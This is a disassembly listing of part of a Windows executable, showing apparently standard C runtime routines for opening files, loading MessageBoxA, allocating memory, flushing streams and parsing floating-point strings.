		jnz	short loc_41C75D
		cmp	dword_742510, eax
		jz	short loc_41C761


loc_41C75D:				; CODE XREF: sub_41C716+3Dj
		or	[ebp+var_1], 80h


loc_41C761:				; CODE XREF: sub_41C716+38j
					; sub_41C716+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41C799
		dec	eax
		jz	short loc_41C790
		dec	eax
		jz	short loc_41C787


loc_41C772:				; CODE XREF: sub_41C716+9Fj
					; sub_41C716+E8j ...
		mov	dword_74222C, 16h
		mov	dword_742230, ebx
		jmp	loc_41C9AC
; ---------------------------------------------------------------------------


loc_41C787:				; CODE XREF: sub_41C716+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C790:				; CODE XREF: sub_41C716+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C799:				; CODE XREF: sub_41C716+54j
		mov	[ebp+var_C], 80000000h


loc_41C7A0:				; CODE XREF: sub_41C716+78j
					; sub_41C716+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41C7CE
		cmp	eax, 20h
		jz	short loc_41C7C5
		cmp	eax, 30h
		jz	short loc_41C7BC
		cmp	eax, 40h
		jnz	short loc_41C772
		mov	[ebp+var_10], esi
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7BC:				; CODE XREF: sub_41C716+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7C5:				; CODE XREF: sub_41C716+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41C7D1
; ---------------------------------------------------------------------------


loc_41C7CE:				; CODE XREF: sub_41C716+90j
		mov	[ebp+var_10], ebx


loc_41C7D1:				; CODE XREF: sub_41C716+A4j
					; sub_41C716+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41C81B
		jz	short loc_41C816
		cmp	ecx, ebx
		jz	short loc_41C816
		cmp	ecx, edi
		jz	short loc_41C80D
		cmp	ecx, 200h
		jz	short loc_41C834
		cmp	ecx, 300h
		jnz	loc_41C772
		mov	[ebp+var_8], 2
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C80D:				; CODE XREF: sub_41C716+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C816:				; CODE XREF: sub_41C716+D0j
					; sub_41C716+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C81B:				; CODE XREF: sub_41C716+CEj
		cmp	ecx, 500h
		jz	short loc_41C83D
		cmp	ecx, 600h
		jz	short loc_41C834
		cmp	ecx, edx
		jz	short loc_41C83D
		jmp	loc_41C772
; ---------------------------------------------------------------------------


loc_41C834:				; CODE XREF: sub_41C716+E0j
					; sub_41C716+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41C844
; ---------------------------------------------------------------------------


loc_41C83D:				; CODE XREF: sub_41C716+10Bj
					; sub_41C716+117j
		mov	[ebp+var_8], 1


loc_41C844:				; CODE XREF: sub_41C716+F5j
					; sub_41C716+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41C863
		mov	ecx, dword_742234
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41C863
		push	1
		pop	esi


loc_41C863:				; CODE XREF: sub_41C716+138j
					; sub_41C716+148j
		test	al, 40h
		jz	short loc_41C871
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41C871:				; CODE XREF: sub_41C716+14Fj
		test	ah, 10h
		jz	short loc_41C878
		or	esi, edi


loc_41C878:				; CODE XREF: sub_41C716+15Ej
		test	al, 20h
		jz	short loc_41C884
		or	esi, 8000000h
		jmp	short loc_41C88E
; ---------------------------------------------------------------------------


loc_41C884:				; CODE XREF: sub_41C716+164j
		test	al, 10h
		jz	short loc_41C88E
		or	esi, 10000000h


loc_41C88E:				; CODE XREF: sub_41C716+16Cj
					; sub_41C716+170j
		call	sub_41C4FC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41C8AF
		and	dword_742230, 0
		mov	dword_74222C, 18h
		jmp	short loc_41C8ED
; ---------------------------------------------------------------------------


loc_41C8AF:				; CODE XREF: sub_41C716+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_41F05C	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41C8E0
		push	esi
		call	dword_41F030	; GetFileType
		test	eax, eax
		jnz	short loc_41C8F4
		push	esi
		call	dword_41F058	; CloseHandle


loc_41C8E0:				; CODE XREF: sub_41C716+1B6j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		call	sub_41A82A
		pop	ecx


loc_41C8ED:				; CODE XREF: sub_41C716+197j
		mov	eax, edi
		jmp	loc_41C9CA
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C716+1C1j
		cmp	eax, 2
		jnz	short loc_41C8FF
		or	[ebp+var_1], 40h
		jmp	short loc_41C908
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C716+1E1j
		cmp	eax, 3
		jnz	short loc_41C908
		or	[ebp+var_1], 8


loc_41C908:				; CODE XREF: sub_41C716+1E7j
					; sub_41C716+1ECj
		push	esi
		push	ebx
		call	sub_41C591
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41C9B1
		test	al, 80h
		jz	short loc_41C9B1
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41C9B1
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41C966
		cmp	dword_742230, 83h
		jz	short loc_41C9B1
		jmp	short loc_41C9A5
; ---------------------------------------------------------------------------


loc_41C966:				; CODE XREF: sub_41C716+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_4199F4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C993
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41C993
		push	[ebp+var_10]
		push	ebx
		call	sub_41D663
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41C9A5


loc_41C993:				; CODE XREF: sub_41C716+265j
					; sub_41C716+26Bj
		push	0
		push	0
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C9B1


loc_41C9A5:				; CODE XREF: sub_41C716+24Ej
					; sub_41C716+27Bj
		push	ebx
		call	sub_419730
		pop	ecx


loc_41C9AC:				; CODE XREF: sub_41C716+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C9CA
; ---------------------------------------------------------------------------


loc_41C9B1:				; CODE XREF: sub_41C716+221j
					; sub_41C716+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41C9C8
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41C9C8
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41C9C8:				; CODE XREF: sub_41C716+29Fj
					; sub_41C716+2A5j
		mov	eax, ebx


loc_41C9CA:				; CODE XREF: sub_41C716+1D9j
					; sub_41C716+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C716	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9CF	proc near		; CODE XREF: sub_41AADF+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41C9E0
		add	esp, 0Ch
		retn
sub_41C9CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C9E0	proc near		; CODE XREF: sub_41C9CF+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_743761[eax], cl
		jnz	short loc_41CA0D
		cmp	[esp+arg_4], 0
		jz	short loc_41CA06
		movzx	eax, word_4377BA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41CA08
; ---------------------------------------------------------------------------


loc_41CA06:				; CODE XREF: sub_41C9E0+16j
		xor	eax, eax


loc_41CA08:				; CODE XREF: sub_41C9E0+24j
		test	eax, eax
		jnz	short loc_41CA0D
		retn
; ---------------------------------------------------------------------------


loc_41CA0D:				; CODE XREF: sub_41C9E0+Fj
					; sub_41C9E0+2Aj
		push	1
		pop	eax
		retn
sub_41C9E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA11	proc near		; CODE XREF: sub_41B235+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_7424F0, ebx
		push	esi
		push	edi
		jnz	short loc_41CA60
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41F0A8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41CA96
		mov	esi, dword_41F0AC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_7424F0, eax
		jz	short loc_41CA96
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_7424F4, eax
		call	esi	; GetProcAddress
		mov	dword_7424F8, eax


loc_41CA60:				; CODE XREF: sub_41CA11+Bj
		mov	eax, dword_7424F4
		test	eax, eax
		jz	short loc_41CA7F
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41CA7F
		mov	eax, dword_7424F8
		test	eax, eax
		jz	short loc_41CA7F
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41CA7F:				; CODE XREF: sub_41CA11+56j
					; sub_41CA11+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_7424F0	; MessageBoxA


loc_41CA92:				; CODE XREF: sub_41CA11+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA96:				; CODE XREF: sub_41CA11+1Cj
					; sub_41CA11+33j
		xor	eax, eax
		jmp	short loc_41CA92
sub_41CA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA9A	proc near		; CODE XREF: sub_41B3F2+22p
					; sub_41B3F2+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41CABA
		test	esi, esi
		jnz	short loc_41CAB4
		push	1
		pop	esi


loc_41CAB4:				; CODE XREF: sub_41CA9A+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41CABA:				; CODE XREF: sub_41CA9A+11j
					; sub_41CA9A+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41CAEB
		cmp	ebx, dword_4379CC
		ja	short loc_41CAD6
		push	ebx
		call	sub_416CCF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41CB01


loc_41CAD6:				; CODE XREF: sub_41CA9A+2Dj
		push	esi
		push	8
		push	dword_743880
		call	dword_41F144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41CB0D


loc_41CAEB:				; CODE XREF: sub_41CA9A+25j
		cmp	dword_742284, 0
		jz	short loc_41CB0D
		push	esi
		call	sub_4168E4
		test	eax, eax
		pop	ecx
		jz	short loc_41CB13
		jmp	short loc_41CABA
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA9A+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_413890
		add	esp, 0Ch


loc_41CB0D:				; CODE XREF: sub_41CA9A+4Fj
					; sub_41CA9A+58j
		mov	eax, edi


loc_41CB0F:				; CODE XREF: sub_41CA9A+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CB13:				; CODE XREF: sub_41CA9A+63j
		xor	eax, eax
		jmp	short loc_41CB0F
sub_41CA9A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41B497


loc_41CB17:				; CODE XREF: sub_41B497+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_743520, esi
		jle	short loc_41CB6A


loc_41CB26:				; CODE XREF: sub_41B497+16D1j
		mov	eax, dword_74251C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41CB61
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41CB45
		push	eax
		call	sub_414E31
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41CB45
		inc	edi


loc_41CB45:				; CODE XREF: sub_41B497+169Fj
					; sub_41B497+16ABj
		cmp	esi, 14h
		jl	short loc_41CB61
		mov	eax, dword_74251C
		push	dword ptr [eax+esi*4]
		call	sub_413F7F
		mov	eax, dword_74251C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41CB61:				; CODE XREF: sub_41B497+1699j
					; sub_41B497+16B1j
		inc	esi
		cmp	esi, dword_743520
		jl	short loc_41CB26


loc_41CB6A:				; CODE XREF: sub_41B497+168Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41B497

; =============== S U B	R O U T	I N E =======================================



sub_41CB6F	proc near		; CODE XREF: sub_41B80E+2Bp
					; sub_41B80E+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41CB85
		cmp	ecx, esi
		jnb	short loc_41CB88


loc_41CB85:				; CODE XREF: sub_41CB6F+10j
		push	1
		pop	eax


loc_41CB88:				; CODE XREF: sub_41CB6F+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41CB6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB90	proc near		; CODE XREF: sub_41CC49+40p
					; sub_41CC49+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBC2
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBC2
		inc	dword ptr [esi+8]


loc_41CBC2:				; CODE XREF: sub_41CB90+19j
					; sub_41CB90+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41CBDA
		inc	dword ptr [esi+8]


loc_41CBDA:				; CODE XREF: sub_41CB90+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41CB6F
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41CB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEE	proc near		; CODE XREF: sub_41CC49+30p
					; sub_41CC49+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41CBEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1C	proc near		; CODE XREF: sub_41D1E1+1C8p
					; sub_41D7A9+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41CC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC49	proc near		; CODE XREF: sub_41CD10+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41CCBD
		push	edi
		mov	[ebp+arg_8], eax


loc_41CC70:				; CODE XREF: sub_41CC49+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41CBEE
		push	ebx
		call	sub_41CBEE
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CB90
		push	ebx
		call	sub_41CBEE
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41CB90
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41CC70
		xor	edx, edx
		pop	edi


loc_41CCBD:				; CODE XREF: sub_41CC49+21j
					; sub_41CC49+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41CCEA
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41CCBD
; ---------------------------------------------------------------------------


loc_41CCEA:				; CODE XREF: sub_41CC49+77j
		mov	esi, 8000h


loc_41CCEF:				; CODE XREF: sub_41CC49+B9j
		test	[ebx+8], esi
		jnz	short loc_41CD04
		push	ebx
		call	sub_41CBEE
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41CCEF
; ---------------------------------------------------------------------------


loc_41CD04:				; CODE XREF: sub_41CC49+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41CC49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD10	proc near		; CODE XREF: sub_41BB57+17p
					; sub_41BB84+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41CD4B:				; CODE XREF: sub_41CD10+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41CD61
		cmp	cl, 9
		jz	short loc_41CD61
		cmp	cl, 0Ah
		jz	short loc_41CD61
		cmp	cl, 0Dh
		jnz	short loc_41CD64


loc_41CD61:				; CODE XREF: sub_41CD10+40j
					; sub_41CD10+45j ...
		inc	edi
		jmp	short loc_41CD4B
; ---------------------------------------------------------------------------


loc_41CD64:				; CODE XREF: sub_41CD10+4Fj
		push	4
		pop	esi


loc_41CD67:				; CODE XREF: sub_41CD10+AEj
					; sub_41CD10+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41CFEA	; default
					; jumptable 0041CD73 case 10
		jmp	off_41D1B1[eax*4] ; switch jump


loc_41CD7A:				; DATA XREF: seg001:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 0
		jl	short loc_41CD8B
		cmp	bl, 39h
		jg	short loc_41CD8B


loc_41CD84:				; CODE XREF: sub_41CD10+C4j
					; sub_41CD10+118j
		push	3
		jmp	loc_41CFA8
; ---------------------------------------------------------------------------


loc_41CD8B:				; CODE XREF: sub_41CD10+6Dj
					; sub_41CD10+72j
		cmp	bl, byte_4379C0
		jnz	short loc_41CD9A


loc_41CD93:				; CODE XREF: sub_41CD10+124j
		push	5
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CD9A:				; CODE XREF: sub_41CD10+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41CDC0
		dec	eax
		dec	eax
		jz	short loc_41CDB4
		sub	eax, 3
		jnz	loc_41D083
		jmp	loc_41CE43
; ---------------------------------------------------------------------------


loc_41CDB4:				; CODE XREF: sub_41CD10+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41CD67
; ---------------------------------------------------------------------------


loc_41CDC0:				; CODE XREF: sub_41CD10+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41CD67
; ---------------------------------------------------------------------------


loc_41CDC9:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41CDD6
		cmp	bl, 39h
		jle	short loc_41CD84


loc_41CDD6:				; CODE XREF: sub_41CD10+BFj
		cmp	bl, byte_4379C0
		jz	loc_41CE9E
		cmp	bl, 2Bh
		jz	short loc_41CE18
		cmp	bl, 2Dh
		jz	short loc_41CE18
		cmp	bl, 30h
		jz	short loc_41CE43


loc_41CDF1:				; CODE XREF: sub_41CD10+207j
		cmp	bl, 43h
		jle	loc_41D083
		cmp	bl, 45h
		jle	short loc_41CE11
		cmp	bl, 63h
		jle	loc_41D083
		cmp	bl, 65h
		jg	loc_41D083


loc_41CE11:				; CODE XREF: sub_41CD10+EDj
		push	6
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CE18:				; CODE XREF: sub_41CD10+D5j
					; sub_41CD10+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41CFE0
; ---------------------------------------------------------------------------


loc_41CE20:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	bl, 31h		; jumptable 0041CD73 case 2
		jl	short loc_41CE2E
		cmp	bl, 39h
		jle	loc_41CD84


loc_41CE2E:				; CODE XREF: sub_41CD10+113j
		cmp	bl, byte_4379C0
		jz	loc_41CD93
		cmp	bl, 30h
		jnz	loc_41CFF8


loc_41CE43:				; CODE XREF: sub_41CD10+9Fj
					; sub_41CD10+DFj
		mov	eax, edx
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CE4A:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		mov	[ebp+var_10], edx ; jumptable 0041CD73 case 3


loc_41CE4D:				; CODE XREF: sub_41CD10+184j
		cmp	dword_4379BC, edx
		jle	short loc_41CE66
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CE74
; ---------------------------------------------------------------------------


loc_41CE66:				; CODE XREF: sub_41CD10+143j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CE74:				; CODE XREF: sub_41CD10+154j
		test	eax, eax
		jz	short loc_41CE96
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CE8E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41CE91
; ---------------------------------------------------------------------------


loc_41CE8E:				; CODE XREF: sub_41CD10+16Cj
		inc	[ebp+var_8]


loc_41CE91:				; CODE XREF: sub_41CD10+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CE4D
; ---------------------------------------------------------------------------


loc_41CE96:				; CODE XREF: sub_41CD10+166j
		cmp	bl, byte_4379C0
		jnz	short loc_41CF05


loc_41CE9E:				; CODE XREF: sub_41CD10+CCj
		mov	eax, esi
		jmp	loc_41CD67
; ---------------------------------------------------------------------------


loc_41CEA5:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	[ebp+var_4], 0	; jumptable 0041CD73 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41CEBE


loc_41CEB1:				; CODE XREF: sub_41CD10+1ACj
		cmp	bl, 30h
		jnz	short loc_41CEBE
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CEB1
; ---------------------------------------------------------------------------


loc_41CEBE:				; CODE XREF: sub_41CD10+19Fj
					; sub_41CD10+1A4j ...
		cmp	dword_4379BC, edx
		jle	short loc_41CED7
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CEE5
; ---------------------------------------------------------------------------


loc_41CED7:				; CODE XREF: sub_41CD10+1B4j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CEE5:				; CODE XREF: sub_41CD10+1C5j
		test	eax, eax
		jz	short loc_41CF05
		cmp	[ebp+var_4], 19h
		jnb	short loc_41CF00
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41CF00:				; CODE XREF: sub_41CD10+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41CEBE
; ---------------------------------------------------------------------------


loc_41CF05:				; CODE XREF: sub_41CD10+18Cj
					; sub_41CD10+1D7j
		cmp	bl, 2Bh
		jz	loc_41CE18
		cmp	bl, 2Dh
		jz	loc_41CE18
		jmp	loc_41CDF1
; ---------------------------------------------------------------------------


loc_41CF1C:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		cmp	dword_4379BC, edx ; jumptable 0041CD73 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41CF38
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41686F
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41CF46
; ---------------------------------------------------------------------------


loc_41CF38:				; CODE XREF: sub_41CD10+215j
		mov	ecx, off_4377B0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41CF46:				; CODE XREF: sub_41CD10+226j
		test	eax, eax
		jz	loc_41CFF8
		mov	eax, esi
		jmp	short loc_41CFA9
; ---------------------------------------------------------------------------


loc_41CF52:				; CODE XREF: sub_41CD10+63j
					; DATA XREF: seg001:off_41D1B1o
		lea	ecx, [edi-2]	; jumptable 0041CD73 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41CF62
		cmp	bl, 39h
		jle	short loc_41CFA6


loc_41CF62:				; CODE XREF: sub_41CD10+24Bj
